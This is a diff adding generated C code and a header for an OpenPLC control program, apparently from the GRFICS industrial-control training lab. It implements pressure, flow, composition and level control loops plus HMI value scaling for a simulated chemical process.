__INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + 